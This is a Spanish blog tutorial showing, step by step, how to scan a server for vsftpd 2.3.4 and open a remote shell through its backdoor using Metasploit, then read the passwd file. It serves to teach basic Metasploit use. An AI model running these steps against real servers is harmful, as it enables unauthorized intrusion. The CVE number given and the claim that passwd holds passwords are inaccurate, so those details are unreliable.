Explotación de vulnerabilidad CVE-2011-0762 con Metasploit en VSFTPD v2.3.4

meta1

En esta ocasión, os muestro como podemos explotar una vulnerabilidad con el Framework de seguridad Metasploit.

En concreto explotaremos la vulnerabilidad CVE-2011-0762 en el servicio VSFTPD v2.3.4 para conseguir una shell e interactuar con el servidor vulnerado.

Está vulnerabilidad tiene ya 5 años y es muy antigua, aunque nos podemos seguir encontrando algún servidor que nos permita “jugar”, la finalidad de esta entrada es aprender como usar los principales comandos de Metasploit.

Antes de empezar a usar Metasploit, recomiendo que actualicemos los repositorios con los siguientes comandos:

apt-get update

apt-get upgrade

apt-get dist-upgrade

También es conveniente actualizar la base de datos de exploits, aunque como he comentado, esta vulnerabilidad es demasiado antigua y seguro que la tenemos lista para usar.

msfupdate

Para empezar a usar Metasploit usaremos el comando msfconsole, y comprobaremos si la vulnerabilidad que queremos explotar está ejecutándose en el servidor, podemos usar nmap.

nmap -sV -p [PUERTO] [IP]

meta333

Podemos ver como en el puerto 21 está ejecutándose vsftpd 2.3.4

Muestro una captura de pantalla en la cual os indicaré los pasos que he seguido para explotarla.

meta22

1) Primero busco el nombre del exploit para el servicio vsftpd, esto se puede hacer con el comando search seguido del servicio, ejemplo:

search vsftpd

Este comando nos devuelve los módulos (exploits) que se identifican con ese servicio, es decir, nos muestra todos los exploit que tenemos disponibles para usar contra ese servicio, ademas nos muestra información adicional como por ejemplo la fecha en la cual fue descubierta.

exploit/unix/ftp/vsftpd_234_backdoor

2) Mediante el comando use seguido del nombre del módulo le indicaremos cual es el exploit elegido para explotar la vulnerabilidad, acto seguido usaremos el comando show options para ver las opciones de configuración que tenemos disponible.

use exploit/unix/ftp/vsftpd_234_backdoor

show options

Si nos fijamos en la captura anterior, existen 2 opciones:

  • La opción RHOST para indicar la IP o hostname del servidor.
  • La opción RPORT que por defecto nos marca 21 (puerto por defecto de este servicio)

3) En este paso, le indicamos a Metasploit la IP del servidor, mediante el comando SET RHOST y a continuación la IP.

SET RHOST [IP]

4) Mostraremos los payloads (acción que ejecutaremos en caso que la vulnerabilidad sea explotada de manera exitosa), en este caso queremos una shell para interactuar con el servidor.

show payloads

5) A continuación le indicamos el payload a usar.

USE PAYLOAD cmd/unix/interact

6) Ya tenemos todo preparado para lanzar nuestro ataque, el paso final es explotarla mediante el comando exploit.

exploit

meta4

7) Este paso es para comprobar que efectivamente hemos vulnerado el servidor, por ejemplo mostraré el fichero passwd, en este fichero están registradas las cuentas de usuarios, así como las claves de accesos y privilegios.

Este fichero es conocido por ser la primera línea de defensa de un sistema linux antes accesos no deseados.

Saludos!!!